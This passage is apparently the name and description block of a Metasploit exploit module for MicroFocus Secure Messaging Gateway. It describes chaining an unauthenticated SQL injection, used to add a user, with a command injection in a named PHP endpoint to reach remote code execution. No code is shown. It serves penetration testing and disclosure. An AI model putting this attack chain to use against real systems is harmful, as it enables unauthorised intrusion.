'Name' => "MicroFocus Secure Messaging Gateway Remote Code Execution",
'Description' => %q{
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging Gateway.
An unauthenticated user can execute a terminal command under the context of the web user.
One of the user supplied parameters of API endpoint is used by the application without input validation and/or parameter binding,
which leads to SQL injection vulnerability. Successfully exploiting this vulnerability gives a ability to add new user onto system.
manage_domains_dkim_keygen_request.php endpoint is responsible for executing an operation system command. It's not possible
to access this endpoint without having a valid session.
Combining these vulnerabilities gives the opportunity execute operation system commands under the context
of the web user.
